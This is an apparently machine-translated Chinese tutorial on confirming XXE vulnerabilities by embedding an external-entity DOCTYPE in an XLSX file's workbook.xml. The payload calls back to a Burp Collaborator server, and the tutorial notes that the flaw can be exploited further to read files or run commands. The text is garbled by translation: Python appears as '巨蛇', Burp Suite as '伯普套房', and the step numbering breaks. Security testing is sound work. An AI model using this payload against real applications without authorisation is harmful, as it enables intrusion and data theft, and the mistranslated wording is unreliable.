XML 外部实体 (XXE) 的漏洞在于,在分析称为文档类型定义 (DTD) 的 XML 文档结构时,您可以定义自己的 XML 实体。 根据服务器端 XML 处理引擎和环境配置,可以以不同的方式利用此类漏洞。 从系统上的列表目录、读取应用程序和系统文件、获取应用程序用户的加密密码以及将文件传输到服务器或执行系统命令开始。
此类漏洞的典型场景假定我们正在处理包含在体内 xml 中的请求,我们向该请求添加了负责部分,以定义我们自己的实体。 但是,在处理以某种方式处理 Excel 文件的应用程序时,也会出现此漏洞。XLSX , 字 .文档或电源点。普特克斯 我们应归功于以下事实:这些类型的文件符合 OOXML 标准,因此它们只是包装了几个文件。XML.
快速攻击方案如下:
- 创建新的空白文档。XLSX。 为此,它可以使用"谷歌表"。
2。 打开伯普套房专业 ->伯普 – >伯普合作客户端。 然后单击"复制到剪贴板"按钮。 就我而言,服务器地址如下 – lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net。
或者,如果您有外部 IP,则可以在巨蛇中使用简单的 HTTP 服务器 – "巨蛇 3 – m http.服务器 8080"。
(三) 有什么问题吗? 使用 7zip 打开下载的文件。
(三) 有什么问题吗? 通过添加以下代码(当然,用您自己的代码替换服务器地址)来编辑"xl"目录中的"工作簿.xml"文件):
<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net/"> %xxe:]>
注-在我测试的一个应用程序中,在编辑"[Content_Types].xml"后显示的漏洞,因此值得检查此文件。
4。 保存更改并将文件上传到您正在测试的应用中。
5。 现在检查协作者客户端是否收到任何请求:
6。 享受:) – 您刚刚在测试的应用程序中确认了 xxe 漏洞,您可以继续进一步使用它。
针对 XXE 的一个常见安全功能是完全禁用 XML 解析器中的外部实体加载。